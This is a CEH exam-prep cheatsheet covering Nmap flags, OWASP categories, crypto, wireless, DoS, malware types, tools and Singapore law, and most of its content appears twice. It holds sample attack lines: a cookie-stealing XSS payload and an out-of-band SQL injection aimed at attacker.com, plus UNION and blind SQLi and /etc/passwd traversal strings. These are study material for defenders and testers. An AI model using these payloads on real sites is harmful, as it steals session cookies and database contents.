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CEH Cheatsheet - Last-Mile Review

How to use this file: Read once 24-48h before exam. Memorise the tables, especially the Nmap, OWASP, and Crypto sections. If you can’t explain every row in plain English, go back to the relevant research/ file.


ItemValue
TitleEC-Council Certified Ethical Hacker (CEH)
Current versionv13 (as of Aug 2026)
FormatMultiple-choice (MCQ); 4 hours; 125 questions
Pass score~70% (statistical, not fixed)
DeliveryPearson VUE / ECC exam centre, proctored
IDPassport (international candidates)
Retake1 free retake with voucher; 14-day cool-down
CostS$2,200 in SG (voucher only)
Recert120 ECE credits / 3 years OR retake
Recert cost$250/year or 1,200 ECE/year

Some books show 6 phases (pre-attack + 5). For the exam, memorise 5 (CEH’s own canonical count). Source: EC-Council.

1. Reconnaissance → passive (OSINT) + active (scan)
2. Scanning & Enumeration → ports, services, users, vulns
3. Gaining Access → exploit, password attack, social engineer
4. Maintaining Access → backdoor, rootkit, persistence
5. Covering Tracks → log tampering, timestomp, alternate streams

Pair with the Lockheed Martin Cyber Kill Chain (7 phases): Recon → Weaponisation → Delivery → Exploitation → Installation → C2 → Actions on Objectives.

And MITRE ATT&CK (14 enterprise tactics): Reconnaissance → Resource Development → Initial Access → Execution → Persistence → Privilege Escalation → Defense Evasion → Credential Access → Discovery → Lateral Movement → Collection → Command and Control → Exfiltration → Impact.

Exam tip: if a question says “attacker is at phase 3”, they mean the 5-phase model. If a question lists TTPs, it’s ATT&CK.


FlagNameUse
-sSSYN scan (“half-open”)Default; fast, stealthy
-sTTCP connect scanWhen you lack raw socket (non-root)
-sUUDP scanSlow, for DNS/SNMP/NFS
-sNNULL scanNo flags set; defeats some IDS, Unix-only
-sFFIN scanFIN flag only; same as NULL
-sXXMAS scanFIN+PSH+URG; lit up like a tree
-sAACK scanMaps firewall rulesets
-sIIdle scanUses zombie host for source spoofing
-sVVersion detectionService banner + version
-OOS fingerprinting
-AAggressive-sV -O -sC
-PnSkip host discoveryTreat all hosts as up
-p-All 65,535 portsSlow but complete
-T0..-T5Timing templates0=paranoid, 5=insane
-f / -mtuFragment packetsIDS evasion
-D RND:10Decoy scanHide among 10 random sources
-g 53Source portSpoof as DNS
-script=defaultNSE scriptsVuln scan, brute, etc

Exam gotcha: NULL, FIN, XMAS work only against Unix. Windows ports reply RST regardless → results are unreliable.


#CategoryExample attackDefect
A01Broken Access ControlIDOR, vertical/horizontal privilege escalationMissing authz checks
A02Cryptographic FailuresPlaintext storage, weak hash, no TLSCrypto misuse
A03Injection (SQLi, NoSQLi, LDAP, cmd)' OR 1=1-Untrusted input to interpreter
A04Insecure DesignMissing rate limit on password resetNo threat model
A05Security MisconfigurationDefault creds, exposed S3 bucketMisconfig
A06Vulnerable & Outdated ComponentsLog4Shell, Struts vulnUnpatched deps
A07Identification & Auth FailuresWeak passwords, no MFA, session fixationAuthN broken
A08Software & Data Integrity FailuresSolarWinds, CodecovUnsigned updates, insecure deserialise
A09Logging & Monitoring FailuresNo alerting on repeated failed loginsBlind spots
A10SSRFCapital One breachServer fetches user-supplied URL

2025 draft (likely official Q4 2025): added categories around LLM/AI prompt injection and supply-chain compromise via build pipelines (xz-utils class). Verify before exam.


AlgoTypeKeyStrengthUse today?
DESSymmetric56-bitBrokenNo
3DESSymmetric168-bitDeprecated 2023Legacy only
AESSymmetric128/192/256StrongYes - default
BlowfishSymmetric32-448 bitOKFile encryption
RC4Sym40-2048BrokenNo (TLS banned)
RSAAsym≥ 2048Strong (≥ 3072)Yes
ECCAsym256Strong, smaller keysYes (mobile, TLS)
DHAsym1024-4096StrongKey exchange
MD5Hash128-bitBroken (collisions)No
SHA-1Hash160-bitBrokenNo (SHA-1 collision in 2017)
SHA-2Hash224/256/384/512StrongYes
SHA-3Hash224/256/384/512StrongEmerging
HMACMACvariesStrongAPI signing
  • Birthday attack - hash collisions (find same hash for 2 inputs in √n)
  • Brute force - try all keys
  • Known plaintext - have plaintext + ciphertext → derive key
  • Chosen ciphertext - attacker can choose ciphertexts, learns decryption
  • Man-in-the-middle - intercept DH key exchange
  • Side-channel - power, EM, timing leakage
  • Padding oracle (POODLE) - abuse CBC padding error messages
  • Downgrade - force weakest protocol (SSL 3.0, TLS 1.0)
  • X.509 certificate format
  • CA signs certs; trust flows from root
  • CRL = Certificate Revocation List (outdated, replaced by OCSP)
  • OCSP = real-time cert status
  • Self-signed = not trusted by default
  • BitLocker (Windows), FileVault (macOS), LUKS (Linux)
  • EFS (Windows Encrypting File System) - file-level, not full-disk

AttackTargetTool
WEP cracking24-bit IV reuseaircrack-ng, airmon-ng
WPA2-PSK cracking4-way handshake offline bruteaircrack-ng + dictionary
KRACK4-way handshake nonce reusekrackattacks-scripts
Evil twinCaptive portal phishinghostapd, wifiphisher, fluxion
DeauthForce reconnect to capture handshakeaireplay-ng -0
WPS PIN brute8-digit PIN, 11K combosreaver, bully
Bluetooth - BlueBorneL2CAP vulnexploitable pre-2017 devices
Bluetooth - BlueSmackL2CAP ping of deathl2ping
BluejackingSend vCard to devicebtobex
BluesnarfingSteal contacts/filesbtobex / vulnerabilities
StandardYearSpeedSecurity
802.11a199954 MbpsWEP
802.11b199911 MbpsWEP
802.11g200354 MbpsWPA
802.11n2009600 MbpsWPA2
802.11ac20146.93 GbpsWPA2
802.11ax (Wi-Fi 6/6E/7)2019+9.6+ GbpsWPA3

WPA3 uses SAE (Simultaneous Authentication of Equals), resists offline dictionary. Dragonblood (2019) showed timing side-channel.


Malware
├── Virus
│ ├── File infector
│ ├── Boot sector
│ ├── Macro
│ ├── Polymorphic (changes code)
│ ├── Metamorphic (rewrites itself)
│ └── Multipartite
├── Worm (self-propagating over network)
├── Trojan (disguised as legit)
│ ├── RAT (Remote Access Trojan)
│ ├── Banking trojan
│ ├── Backdoor
│ ├── DDoS trojan (Mirai-class)
│ ├── Downloader / Dropper
│ ├── Exploit kit
│ └── Defacement
├── Rootkit
│ ├── User-mode
│ ├── Kernel-mode
│ └── Bootkit
├── Ransomware
│ ├── Locker (locks screen)
│ ├── Crypto (encrypts files)
│ ├── Double extortion (encrypt + leak)
│ └── RaaS (Ransomware-as-a-Service)
├── Spyware / Keylogger
├── Fileless / LOLBins (PowerShell, WMI, PSExec)
├── Logic bomb (triggers on event)
└── Adware / PUP

Fileless malware uses trusted system tools (PowerShell, WMI, mshta, rundll32) to execute in memory. Hard to detect with signature AV.


AttackLayerToolDefense
SYN floodL4 (TCP)hping3, LOICSYN cookies, rate-limit
UDP floodL4hping3, LOICRate-limit, drop
ICMP flood / SmurfL3ping, smurfDisable directed broadcast
Ping of DeathL3 oversizedping -lPatch
TeardropL3 fragteardrop.cPatch, drop bad frags
FraggleL3/L4 UDP echoudp echoDisable UDP echo
HTTP floodL7LOIC, SlowlorisWAF, rate-limit, CAPTCHA
SlowlorisL7 partial headersslowloris.plWAF, conn timeout
DNS amplificationL3/L4amp toolsAnycast, rate-limit, BCP38
NTP amplificationL3/L4ntpdcPatch NTP, restrict monlist
Memcached DRDoSL3/L451,000× ampDisable UDP, auth
MiraiL7 botnetMirai sourceDefault creds, IoT patches

Botnet = network of compromised hosts (zombies). C&C = command-and-control (IRC, HTTP, P2P, Tor hidden service).


LayerCustomer responsible forProvider responsible for
IaaS (EC2)OS, runtime, app, data, IAMHardware, hypervisor, network
PaaS (RDS, Beanstalk)App, data, IAMOS, runtime, middleware
SaaS (Gmail)Data, users, accessAlmost everything
  1. Misconfigured S3 / Blob (public buckets) - Tesla, Capital One
  2. SSRF → IMDSv1 - read IAM creds from metadata service (Capital One)
  3. IAM privilege escalation - iam:PassRole, sts:AssumeRole abuse
  4. Cloud malware injection - attacker uploads malicious AMI/Container
  5. Cryptojacking - miners in cloud account
  6. Cloud-Network MITM via DNS rebinding / BGP hijack
  7. Container escape - privileged container + kernel exploit
  8. K8s RBAC misconfig - overly permissive ServiceAccount
  • ScoutSuite - multi-cloud auditor
  • Prowler - AWS CIS benchmark
  • Pacu - AWS exploitation framework
  • kube-hunter - K8s vuln scanner
  • Trivy - container image scanner

  • Default credentials (Mirai dictionary of 60+)
  • Open Telnet/SSH on the WAN (Shodan finds them)
  • Insecure firmware updates
  • Weak/no encryption
  • Unnecessary services (UPnP)
  • Recruited 600K+ IoT devices
  • Dictionary: admin/admin, root/xc3511, root/root, default/1234
  • Spread via Telnet brute force
  • Used for largest DDoS ever (1.1 Tbps on Dyn DNS, Oct 2016)
  • Purdue Model (Levels 0-5): physical process → safety → control → supervisory → site operations → enterprise
  • Protocols: Modbus, DNP3, Profinet, EtherNet/IP, IEC 60870-5-104
  • PLCs, SCADA, HMI, DCS
  • Famous attacks: Stuxnet (2010, Iran centrifuges), TRITON/Trisis (2017, Saudi petrochemical), Industroyer (2016, Ukraine grid), PIPEDREAM/CHERNOVITE (2022, ICS toolkit)

OSAttack surfaceTool
AndroidAPK reverse, sideloading, permissions, WebViewMobSF, Frida, objection, jadx
iOSJailbreak, IPA reverse, keychainFrida, objection, keychain-dumper
  • MDM = Mobile Device Management
  • BYOD vs COPE (Corporate-Owned, Personally Enabled)
  • Root (Android) / Jailbreak (iOS) = removes OS sandbox

AttackWhat it doesTool
ARP poisoningTell victim “I’m the gateway”Ettercap, BetterCAP
MAC floodingOverflow CAM table → hub modemacof
MAC spoofingImpersonate another devicemacchanger
DHCP starvationExhaust DHCP poolYersinia, dhcpstarv
Rogue DHCPHand out malicious DNS/gatewayYersinia
DNS poisoningCache fake recordsEttercap, dnsspoof
SSL strippingDowngrade HTTPS→HTTPsslstrip
SSL/TLS downgrade (POODLE)Force SSL 3.0custom proxy
MitM browserInject into HTTPS via HSTS bypasssslstrip +2

TypeHowExample
In-band - error-basedCause DB error with details' → ODBC error
In-band - UNIONAppend SELECT to original' UNION SELECT username, password FROM users-
Inferential - boolean blindAsk true/false questions?id=1' AND 1=1- vs ?id=1' AND 1=2-
Inferential - time blindUse WAITFOR DELAY'; IF (1=1) WAITFOR DELAY '0:0:5'-
Out-of-bandUse DNS/HTTP to exfil'; EXEC xp_dirtree '//attacker.com/'-

Tools: sqlmap (the default), jSQL Injection, Havij (old)


  • Directory traversal - ../../../etc/passwd
  • HTTP response splitting - CRLF injection in headers
  • HTTP request smuggling - desync between front and back proxy
  • Web cache poisoning - cache malicious response
  • XSS - Reflected, Stored, DOM-based
  • CSRF - force authenticated user action
  • IDOR - change ID in URL, access others’ data
  • XXE - XML external entity read
  • SSRF - server fetches user-supplied URL

Tools: Burp Suite (Pro $449/yr), OWASP ZAP (free), Nikto (web server scanner), wfuzz / ffuf (fuzzing), sqlmap, XSStrike


XSS payload example: <script>document.location='http://attacker.com/?c='+document.cookie</script>

Reflected: payload in request → reflects in response. Stored: payload in DB. DOM: payload in client-side JS.

CSRF defense: SameSite=Strict cookie, CSRF token per request, Origin/Referer check.

CSP (Content-Security-Policy) is the XSS mitigation header.


HashLengthCracking
LM14 chars × 2 × DESTrivial; case-insensitive
NTLMMD4(UTF-16LE)Rainbow tables
MD5128-bitFast, rainbow tables exist
SHA-1160-bitCloud GPU brute
SHA-256256-bitSlow with bcrypt prepend
bcrypt60-char outputSlow by design (cost)
scrypt60-char outputMemory-hard
Argon2configurableMemory-hard, modern choice

Tools: Hashcat (CPU+GPU, $0), John the Ripper (CPU, $0), Hydra (online brute)

Modern password storage: Argon2id > bcrypt > scrypt. Never MD5/SHA-* alone.


17. Pen-Test Methodology (NIST SP 800-115 / PTES)

Section titled “17. Pen-Test Methodology (NIST SP 800-115 / PTES)”
1. Planning → scope, ROE, threat model
2. Discovery → passive + active recon
3. Attack → exploit, brute, social
4. Reporting → exec + technical summary
5. Remediation → work with client to fix
6. Re-test → verify fix
Box colorKnowledgeTime
BlackNoneMost
GrayPartialSome
WhiteFullLeast

  • PDPA (2012, amended 2020) - personal data. Consent Obligation, Purpose Limitation, Notification, Access/Correction, Accuracy, Protection, Retention Limitation, Transfer Limitation. DPO required for orgs > 5,000.
  • CMCA (Computer Misuse Act 1993, renamed Computer Misuse and Cybersecurity Act 2017) - unauthorised access, modification, abstraction (added 2017). Penalty: up to 10 years + fine.
  • Cybersecurity Act 2018 - CII (Critical Information Infrastructure) owners must report incidents to CSA within hours; run audits.
  • SkillsFuture SSG - up to 70% subsidy for SG citizens/PRs on approved CEH training.

Authorisation is the #1 defence in any pen-test legal situation. If you don’t have written authorisation, every byte of network traffic is a CMCA violation.


FrameworkScopeKey idea
PCI DSS 4.0Card data12 requirements, segmentation, encryption
ISO 27001ISMSRisk-based, Annex A 114 controls
ISO 27002IS controlsImplementation guidance
NIST CSFAll industriesIdentify-Protect-Detect-Respond-Recover
NIST 800-53US federal1000+ controls
NIST 800-115Pen-testTHE pen-test guide
SOC 2Service orgsTrust principles: Security, Availability, Confidentiality, Processing Integrity, Privacy
HIPAAUS healthcarePHI protections
GDPREU personal data72h breach notification, DPO
CSA CCMCloudCloud Controls Matrix
FedRAMPUS gov cloudLow/Moderate/High baselines
MAS TRMSG financialTechnology Risk Management Guidelines

20�. Tools to Recognise (by name, not by use)

Section titled “20�. Tools to Recognise (by name, not by use)”
ToolCategoryWhen you see it on exam
NmapScannerPort/service/OS detection
WiresharkPacket captureL2/L3 sniffing
tcpdumpCLI snifferLinux/server sniffing
MetasploitExploit frameworkExploitation, payloads
Burp SuiteWeb proxyWeb app testing
OWASP ZAPWeb scannerFree web app testing
sqlmapSQLiAutomated SQLi
NiktoWeb serverOld-school web server scan
Aircrack-ngWirelessWiFi cracking
KismetWirelessWiFi detection
HydraOnline bruteSSH/FTP/HTTP brute
John the RipperOffline hashCrack hashes CPU
HashcatOffline hashCrack hashes GPU
MaltegoOSINTLink analysis
theHarvesterOSINTEmail/subdomain recon
recon-ngOSINTModular recon
Shodan / CensysIoT searchInternet-wide scans
Metasploit / ArmitageExploit
Cain & AbelLegacy snifferOld exam questions
EttercapMitML2 MitM
BetterCAPMitMModern L2/L7 MitM
MimikatzWindows credsDump LSASS
ResponderLLMNR/NBNS poisonCredential capture
BloodHoundAD attack pathsVisualise AD
PowerViewAD reconPowerShell AD
KismetWiFi IDS
Mimikatzcreds
YersiniaL2 attacksDHCP, STP, CDP
Hping3Packet crafterCustom DoS, scan
ScapyPacket crafterPython, full control
Cuckoo / ANY.RUNSandboxMalware analysis
IDA Pro / GhidraREBinary reverse engineering
YARAPattern matchMalware classification
WifiphisherEvil twinCaptive portal phish
FluxionEvil twinHostapd-based
ReaverWPSWPS PIN brute
SET (Social Engineering Toolkit)SEPhishing campaigns

21. Exam-Day Triggers (auto-suspect → answer)

Section titled “21. Exam-Day Triggers (auto-suspect → answer)”
Question says…Think…
“What is the FIRST step in CEH methodology?”Reconnaissance (passive first)
“Which Nmap flag for stealth?”-sS (SYN, half-open)
“Default port for HTTPS?”443
“Default port for SSH?”22
“Default port for RDP?”3389
“Default port for SMB?”445
“Default port for LDAP?”389 (636 for LDAPS)
“Default port for SQL Server?”1433
“Default port for MySQL?”3306
“Default port for PostgreSQL?”5432
“Default port for Kafka?”9092
“What is the BEST defense against XSS?”Input validation + output encoding + CSP
“Defense in depth”Multiple layers; no single point
“Zero Trust”Never trust, always verify; NIST 800-207
“Least privilege”Minimum required access
“Defense against SQLi”Parameterized queries (not escaping)
“Strongest symmetric cipher”AES-256
“Hash collision attack”Birthday
“Which OSI layer for ARP?”L2
“TCP 3-way handshake”SYN → SYN-ACK → ACK
“Which phase of kill chain is most expensive to recover from?”Actions on Objectives (already exfiltrated)
“Pen-test vs red team”Pen-test = scope, find vulns. Red team = goal-based, evade detection.
“Singapore PDPA breach notify”PDPC ASAP, 72h if significant harm
“Singapore CII owner”Report to CSA within prescribed time
“What is the goal of a DoS?”Availability (the A in CIA)

  • Re-read this cheatsheet once
  • Re-read 01-exam-logistics.md § Exam Day
  • Sleep 7+ hours
  • Eat a real breakfast
  • Bring passport, confirmation email, water, snack
  • No new content; trust what you know

You’ve got this.


How to use this file: Read once 24-48h before exam. Memorise the tables, especially the Nmap, OWASP, and Crypto sections. If you can’t explain every row in plain English, go back to the relevant research/ file.


ItemValue
TitleEC-Council Certified Ethical Hacker (CEH)
Current versionv13 (as of Aug 2026)
FormatMultiple-choice (MCQ); 4 hours; 125 questions
Pass score~70% (statistical, not fixed)
DeliveryPearson VUE / ECC exam centre, proctored
IDPassport (international candidates)
Retake1 free retake with voucher; 14-day cool-down
CostS$2,200 in SG (voucher only)
Recert120 ECE credits / 3 years OR retake
Recert cost$250/year or 1,200 ECE/year

Some books show 6 phases (pre-attack + 5). For the exam, memorise 5 (CEH’s own canonical count). Source: EC-Council.

1. Reconnaissance → passive (OSINT) + active (scan)
2. Scanning & Enumeration → ports, services, users, vulns
3. Gaining Access → exploit, password attack, social engineer
4. Maintaining Access → backdoor, rootkit, persistence
5. Covering Tracks → log tampering, timestomp, alternate streams

Pair with the Lockheed Martin Cyber Kill Chain (7 phases): Recon → Weaponisation → Delivery → Exploitation → Installation → C2 → Actions on Objectives.

And MITRE ATT&CK (14 enterprise tactics): Reconnaissance → Resource Development → Initial Access → Execution → Persistence → Privilege Escalation → Defense Evasion → Credential Access → Discovery → Lateral Movement → Collection → Command and Control → Exfiltration → Impact.

Exam tip: if a question says “attacker is at phase 3”, they mean the 5-phase model. If a question lists TTPs, it’s ATT&CK.


FlagNameUse
-sSSYN scan (“half-open”)Default; fast, stealthy
-sTTCP connect scanWhen you lack raw socket (non-root)
-sUUDP scanSlow, for DNS/SNMP/NFS
-sNNULL scanNo flags set; defeats some IDS, Unix-only
-sFFIN scanFIN flag only; same as NULL
-sXXMAS scanFIN+PSH+URG; lit up like a tree
-sAACK scanMaps firewall rulesets
-sIIdle scanUses zombie host for source spoofing
-sVVersion detectionService banner + version
-OOS fingerprinting
-AAggressive-sV -O -sC
-PnSkip host discoveryTreat all hosts as up
-p-All 65,535 portsSlow but complete
-T0..-T5Timing templates0=paranoid, 5=insane
-f / -mtuFragment packetsIDS evasion
-D RND:10Decoy scanHide among 10 random sources
-g 53Source portSpoof as DNS
-script=defaultNSE scriptsVuln scan, brute, etc

Exam gotcha: NULL, FIN, XMAS work only against Unix. Windows ports reply RST regardless → results are unreliable.


#CategoryExample attackDefect
A01Broken Access ControlIDOR, vertical/horizontal privilege escalationMissing authz checks
A02Cryptographic FailuresPlaintext storage, weak hash, no TLSCrypto misuse
A03Injection (SQLi, NoSQLi, LDAP, cmd)' OR 1=1-Untrusted input to interpreter
A04Insecure DesignMissing rate limit on password resetNo threat model
A05Security MisconfigurationDefault creds, exposed S3 bucketMisconfig
A06Vulnerable & Outdated ComponentsLog4Shell, Struts vulnUnpatched deps
A07Identification & Auth FailuresWeak passwords, no MFA, session fixationAuthN broken
A08Software & Data Integrity FailuresSolarWinds, CodecovUnsigned updates, insecure deserialise
A09Logging & Monitoring FailuresNo alerting on repeated failed loginsBlind spots
A10SSRFCapital One breachServer fetches user-supplied URL

2025 draft (likely official Q4 2025): added categories around LLM/AI prompt injection and supply-chain compromise via build pipelines (xz-utils class). Verify before exam.


AlgoTypeKeyStrengthUse today?
DESSymmetric56-bitBrokenNo
3DESSymmetric168-bitDeprecated 2023Legacy only
AESSymmetric128/192/256StrongYes - default
BlowfishSymmetric32-448 bitOKFile encryption
RC4Sym40-2048BrokenNo (TLS banned)
RSAAsym≥ 2048Strong (≥ 3072)Yes
ECCAsym256Strong, smaller keysYes (mobile, TLS)
DHAsym1024-4096StrongKey exchange
MD5Hash128-bitBroken (collisions)No
SHA-1Hash160-bitBrokenNo (SHA-1 collision in 2017)
SHA-2Hash224/256/384/512StrongYes
SHA-3Hash224/256/384/512StrongEmerging
HMACMACvariesStrongAPI signing
  • Birthday attack - hash collisions (find same hash for 2 inputs in √n)
  • Brute force - try all keys
  • Known plaintext - have plaintext + ciphertext → derive key
  • Chosen ciphertext - attacker can choose ciphertexts, learns decryption
  • Man-in-the-middle - intercept DH key exchange
  • Side-channel - power, EM, timing leakage
  • Padding oracle (POODLE) - abuse CBC padding error messages
  • Downgrade - force weakest protocol (SSL 3.0, TLS 1.0)
  • X.509 certificate format
  • CA signs certs; trust flows from root
  • CRL = Certificate Revocation List (outdated, replaced by OCSP)
  • OCSP = real-time cert status
  • Self-signed = not trusted by default
  • BitLocker (Windows), FileVault (macOS), LUKS (Linux)
  • EFS (Windows Encrypting File System) - file-level, not full-disk

AttackTargetTool
WEP cracking24-bit IV reuseaircrack-ng, airmon-ng
WPA2-PSK cracking4-way handshake offline bruteaircrack-ng + dictionary
KRACK4-way handshake nonce reusekrackattacks-scripts
Evil twinCaptive portal phishinghostapd, wifiphisher, fluxion
DeauthForce reconnect to capture handshakeaireplay-ng -0
WPS PIN brute8-digit PIN, 11K combosreaver, bully
Bluetooth - BlueBorneL2CAP vulnexploitable pre-2017 devices
Bluetooth - BlueSmackL2CAP ping of deathl2ping
BluejackingSend vCard to devicebtobex
BluesnarfingSteal contacts/filesbtobex / vulnerabilities
StandardYearSpeedSecurity
802.11a199954 MbpsWEP
802.11b199911 MbpsWEP
802.11g200354 MbpsWPA
802.11n2009600 MbpsWPA2
802.11ac20146.93 GbpsWPA2
802.11ax (Wi-Fi 6/6E/7)2019+9.6+ GbpsWPA3

WPA3 uses SAE (Simultaneous Authentication of Equals), resists offline dictionary. Dragonblood (2019) showed timing side-channel.


Malware
├── Virus
│ ├── File infector
│ ├── Boot sector
│ ├── Macro
│ ├── Polymorphic (changes code)
│ ├── Metamorphic (rewrites itself)
│ └── Multipartite
├── Worm (self-propagating over network)
├── Trojan (disguised as legit)
│ ├── RAT (Remote Access Trojan)
│ ├── Banking trojan
│ ├── Backdoor
│ ├── DDoS trojan (Mirai-class)
│ ├── Downloader / Dropper
│ ├── Exploit kit
│ └── Defacement
├── Rootkit
│ ├── User-mode
│ ├── Kernel-mode
│ └── Bootkit
├── Ransomware
│ ├── Locker (locks screen)
│ ├── Crypto (encrypts files)
│ ├── Double extortion (encrypt + leak)
│ └── RaaS (Ransomware-as-a-Service)
├── Spyware / Keylogger
├── Fileless / LOLBins (PowerShell, WMI, PSExec)
├── Logic bomb (triggers on event)
└── Adware / PUP

Fileless malware uses trusted system tools (PowerShell, WMI, mshta, rundll32) to execute in memory. Hard to detect with signature AV.


AttackLayerToolDefense
SYN floodL4 (TCP)hping3, LOICSYN cookies, rate-limit
UDP floodL4hping3, LOICRate-limit, drop
ICMP flood / SmurfL3ping, smurfDisable directed broadcast
Ping of DeathL3 oversizedping -lPatch
TeardropL3 fragteardrop.cPatch, drop bad frags
FraggleL3/L4 UDP echoudp echoDisable UDP echo
HTTP floodL7LOIC, SlowlorisWAF, rate-limit, CAPTCHA
SlowlorisL7 partial headersslowloris.plWAF, conn timeout
DNS amplificationL3/L4amp toolsAnycast, rate-limit, BCP38
NTP amplificationL3/L4ntpdcPatch NTP, restrict monlist
Memcached DRDoSL3/L451,000× ampDisable UDP, auth
MiraiL7 botnetMirai sourceDefault creds, IoT patches

Botnet = network of compromised hosts (zombies). C&C = command-and-control (IRC, HTTP, P2P, Tor hidden service).


LayerCustomer responsible forProvider responsible for
IaaS (EC2)OS, runtime, app, data, IAMHardware, hypervisor, network
PaaS (RDS, Beanstalk)App, data, IAMOS, runtime, middleware
SaaS (Gmail)Data, users, accessAlmost everything
  1. Misconfigured S3 / Blob (public buckets) - Tesla, Capital One
  2. SSRF → IMDSv1 - read IAM creds from metadata service (Capital One)
  3. IAM privilege escalation - iam:PassRole, sts:AssumeRole abuse
  4. Cloud malware injection - attacker uploads malicious AMI/Container
  5. Cryptojacking - miners in cloud account
  6. Cloud-Network MITM via DNS rebinding / BGP hijack
  7. Container escape - privileged container + kernel exploit
  8. K8s RBAC misconfig - overly permissive ServiceAccount
  • ScoutSuite - multi-cloud auditor
  • Prowler - AWS CIS benchmark
  • Pacu - AWS exploitation framework
  • kube-hunter - K8s vuln scanner
  • Trivy - container image scanner

  • Default credentials (Mirai dictionary of 60+)
  • Open Telnet/SSH on the WAN (Shodan finds them)
  • Insecure firmware updates
  • Weak/no encryption
  • Unnecessary services (UPnP)
  • Recruited 600K+ IoT devices
  • Dictionary: admin/admin, root/xc3511, root/root, default/1234
  • Spread via Telnet brute force
  • Used for largest DDoS ever (1.1 Tbps on Dyn DNS, Oct 2016)
  • Purdue Model (Levels 0-5): physical process → safety → control → supervisory → site operations → enterprise
  • Protocols: Modbus, DNP3, Profinet, EtherNet/IP, IEC 60870-5-104
  • PLCs, SCADA, HMI, DCS
  • Famous attacks: Stuxnet (2010, Iran centrifuges), TRITON/Trisis (2017, Saudi petrochemical), Industroyer (2016, Ukraine grid), PIPEDREAM/CHERNOVITE (2022, ICS toolkit)

OSAttack surfaceTool
AndroidAPK reverse, sideloading, permissions, WebViewMobSF, Frida, objection, jadx
iOSJailbreak, IPA reverse, keychainFrida, objection, keychain-dumper
  • MDM = Mobile Device Management
  • BYOD vs COPE (Corporate-Owned, Personally Enabled)
  • Root (Android) / Jailbreak (iOS) = removes OS sandbox

AttackWhat it doesTool
ARP poisoningTell victim “I’m the gateway”Ettercap, BetterCAP
MAC floodingOverflow CAM table → hub modemacof
MAC spoofingImpersonate another devicemacchanger
DHCP starvationExhaust DHCP poolYersinia, dhcpstarv
Rogue DHCPHand out malicious DNS/gatewayYersinia
DNS poisoningCache fake recordsEttercap, dnsspoof
SSL strippingDowngrade HTTPS→HTTPsslstrip
SSL/TLS downgrade (POODLE)Force SSL 3.0custom proxy
MitM browserInject into HTTPS via HSTS bypasssslstrip +2

TypeHowExample
In-band - error-basedCause DB error with details' → ODBC error
In-band - UNIONAppend SELECT to original' UNION SELECT username, password FROM users-
Inferential - boolean blindAsk true/false questions?id=1' AND 1=1- vs ?id=1' AND 1=2-
Inferential - time blindUse WAITFOR DELAY'; IF (1=1) WAITFOR DELAY '0:0:5'-
Out-of-bandUse DNS/HTTP to exfil'; EXEC xp_dirtree '//attacker.com/'-

Tools: sqlmap (the default), jSQL Injection, Havij (old)


  • Directory traversal - ../../../etc/passwd
  • HTTP response splitting - CRLF injection in headers
  • HTTP request smuggling - desync between front and back proxy
  • Web cache poisoning - cache malicious response
  • XSS - Reflected, Stored, DOM-based
  • CSRF - force authenticated user action
  • IDOR - change ID in URL, access others’ data
  • XXE - XML external entity read
  • SSRF - server fetches user-supplied URL

Tools: Burp Suite (Pro $449/yr), OWASP ZAP (free), Nikto (web server scanner), wfuzz / ffuf (fuzzing), sqlmap, XSStrike


XSS payload example: <script>document.location='http://attacker.com/?c='+document.cookie</script>

Reflected: payload in request → reflects in response. Stored: payload in DB. DOM: payload in client-side JS.

CSRF defense: SameSite=Strict cookie, CSRF token per request, Origin/Referer check.

CSP (Content-Security-Policy) is the XSS mitigation header.


HashLengthCracking
LM14 chars × 2 × DESTrivial; case-insensitive
NTLMMD4(UTF-16LE)Rainbow tables
MD5128-bitFast, rainbow tables exist
SHA-1160-bitCloud GPU brute
SHA-256256-bitSlow with bcrypt prepend
bcrypt60-char outputSlow by design (cost)
scrypt60-char outputMemory-hard
Argon2configurableMemory-hard, modern choice

Tools: Hashcat (CPU+GPU, $0), John the Ripper (CPU, $0), Hydra (online brute)

Modern password storage: Argon2id > bcrypt > scrypt. Never MD5/SHA-* alone.


17. Pen-Test Methodology (NIST SP 800-115 / PTES)

Section titled “17. Pen-Test Methodology (NIST SP 800-115 / PTES)”
1. Planning → scope, ROE, threat model
2. Discovery → passive + active recon
3. Attack → exploit, brute, social
4. Reporting → exec + technical summary
5. Remediation → work with client to fix
6. Re-test → verify fix
Box colorKnowledgeTime
BlackNoneMost
GrayPartialSome
WhiteFullLeast

  • PDPA (2012, amended 2020) - personal data. Consent Obligation, Purpose Limitation, Notification, Access/Correction, Accuracy, Protection, Retention Limitation, Transfer Limitation. DPO required for orgs > 5,000.
  • CMCA (Computer Misuse Act 1993, renamed Computer Misuse and Cybersecurity Act 2017) - unauthorised access, modification, abstraction (added 2017). Penalty: up to 10 years + fine.
  • Cybersecurity Act 2018 - CII (Critical Information Infrastructure) owners must report incidents to CSA within hours; run audits.
  • SkillsFuture SSG - up to 70% subsidy for SG citizens/PRs on approved CEH training.

Authorisation is the #1 defence in any pen-test legal situation. If you don’t have written authorisation, every byte of network traffic is a CMCA violation.


FrameworkScopeKey idea
PCI DSS 4.0Card data12 requirements, segmentation, encryption
ISO 27001ISMSRisk-based, Annex A 114 controls
ISO 27002IS controlsImplementation guidance
NIST CSFAll industriesIdentify-Protect-Detect-Respond-Recover
NIST 800-53US federal1000+ controls
NIST 800-115Pen-testTHE pen-test guide
SOC 2Service orgsTrust principles: Security, Availability, Confidentiality, Processing Integrity, Privacy
HIPAAUS healthcarePHI protections
GDPREU personal data72h breach notification, DPO
CSA CCMCloudCloud Controls Matrix
FedRAMPUS gov cloudLow/Moderate/High baselines
MAS TRMSG financialTechnology Risk Management Guidelines

20�. Tools to Recognise (by name, not by use)

Section titled “20�. Tools to Recognise (by name, not by use)”
ToolCategoryWhen you see it on exam
NmapScannerPort/service/OS detection
WiresharkPacket captureL2/L3 sniffing
tcpdumpCLI snifferLinux/server sniffing
MetasploitExploit frameworkExploitation, payloads
Burp SuiteWeb proxyWeb app testing
OWASP ZAPWeb scannerFree web app testing
sqlmapSQLiAutomated SQLi
NiktoWeb serverOld-school web server scan
Aircrack-ngWirelessWiFi cracking
KismetWirelessWiFi detection
HydraOnline bruteSSH/FTP/HTTP brute
John the RipperOffline hashCrack hashes CPU
HashcatOffline hashCrack hashes GPU
MaltegoOSINTLink analysis
theHarvesterOSINTEmail/subdomain recon
recon-ngOSINTModular recon
Shodan / CensysIoT searchInternet-wide scans
Metasploit / ArmitageExploit
Cain & AbelLegacy snifferOld exam questions
EttercapMitML2 MitM
BetterCAPMitMModern L2/L7 MitM
MimikatzWindows credsDump LSASS
ResponderLLMNR/NBNS poisonCredential capture
BloodHoundAD attack pathsVisualise AD
